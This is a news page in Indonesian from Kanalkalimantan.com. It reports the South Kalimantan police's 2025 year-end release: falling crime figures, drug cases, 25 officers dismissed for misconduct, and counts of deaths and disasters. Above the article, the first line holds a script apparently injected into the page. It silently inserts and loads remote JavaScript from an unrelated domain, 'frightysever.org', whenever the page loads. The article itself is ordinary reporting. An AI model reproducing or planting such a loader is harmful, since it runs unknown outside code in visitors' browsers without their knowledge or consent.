(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) mengklaim kasus kejahatan selama tahun 2025 menurun dibandingkan dengan tahun 2024.
Dalam ”Rilis Akhir Tahun 2025”, Selasa (30/12/2025) siang, Kapolda Kalsel Irjen Pol Rosyanto Yudha Hermawan memaparkan kinerja penanganan kasus di wilayah satuan dari 13 kabupaten dan kota.
Secara rinci, total kasus yang dilaporkan terbagi dalam empat jenis gangguan Kamtibmas yang paling banyak terjadi, sesuai jumlah terbanyak, terdiri dari kasus kejahatan 5.538 kasus, gangguan 247 kasus, bencana 181 kasus, dan pelanggaran 131 kasus.
Baca juga: Cerita Bripda MS Habisi Mahasiswi ULM: Mau Nikah, Perselingkuhan Berakhir Maut
Kapolda Kalsel Irjen Pol Rosyanto Yudha Hermawan.
Angka itu masih dinodai dengan kasus kejahatan konvensional yang mendominasi seperti pencurian dengan kekerasan (curat) berjumlah 533 kasus periode 17-31 Agustus dan 455 kasus untuk periode 1-5 September.
Kejahatan transnasional menjadi peringkat kedua kasus kejahatan terbanyak yang terjadi selama tahun 2025.
Meskipun kejahatan transnasional memiliki trend penurunan, namun salah satu jenis kasusnya yakni narkoba di Kalsel berjumlah 1.684 kasus untuk periode 17-31 Agustus dan 1.589 kasus untuk periode 1-5 September.
Meski secara kuantitas seluruh kasus memiliki trend menurun, angka itu masih tercoreng dengan sejumlah pelanggaran etik oleh jajaran anggota kepolisian.
Baca juga: Malam Pergantian Tahun, Ini Imbauan Pemko Banjarmasin
“25 anggota Polri yang dipecat itu sudah cukup banyak. Untuk tahun 2025, kita sudah melakukan Pemberhentian Dengan Tidak Hormat, kemudian diberikan sanksi baik itu pidana maupun kode etik,” ucap Kapolda Kalsel Irjen Pol Rosyanto Yudha Hermawan.
Pelanggaran yang melibatkan jajaran muncul dari berbagai kasus mulai dari narkoba, tidak profesional, serta laporan yang disampaikan masyarakat terkait pelayanan dan perilaku anggota yang tidak sesuai etik dan menyakiti hati masyarakat.
Kapolda Kalsel dengan tegas berkomitmen mengungkap kasus-kasus menonjol yang ada di Kalsel dengan transparan, berlaku untuk anggota Polri.
“Saya selaku pimpinan berkomitmen untuk mengungkap kasus-kasus menonjol yang ada di Kalsel untuk menegakkan hukum yang ada di Kalsel termasuk anggota Polri. Dan ini sudah kami buktikan tidak ada yang ditutup-tutupi dan kami transparan,” tegas dia.
Baca juga: Kapolres Banjarbaru: Tak Ada Izin Pesta Kembang Api
Polda Kalsel juga memaparkan jumlah pengungkapan kejadian seperti penemuan mayat sebanyak 113 kejadian dan bunuh diri 13 kejadian selama tahun 2025.
Termasuk bencana alam, Polda Kalsel mencatat terjadi sebanyak 18 kejadian dengan rincian, puting beliung 11 kasus, kebakaran hutan dan lahan lima kasus, dan banjir 2 kasus. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.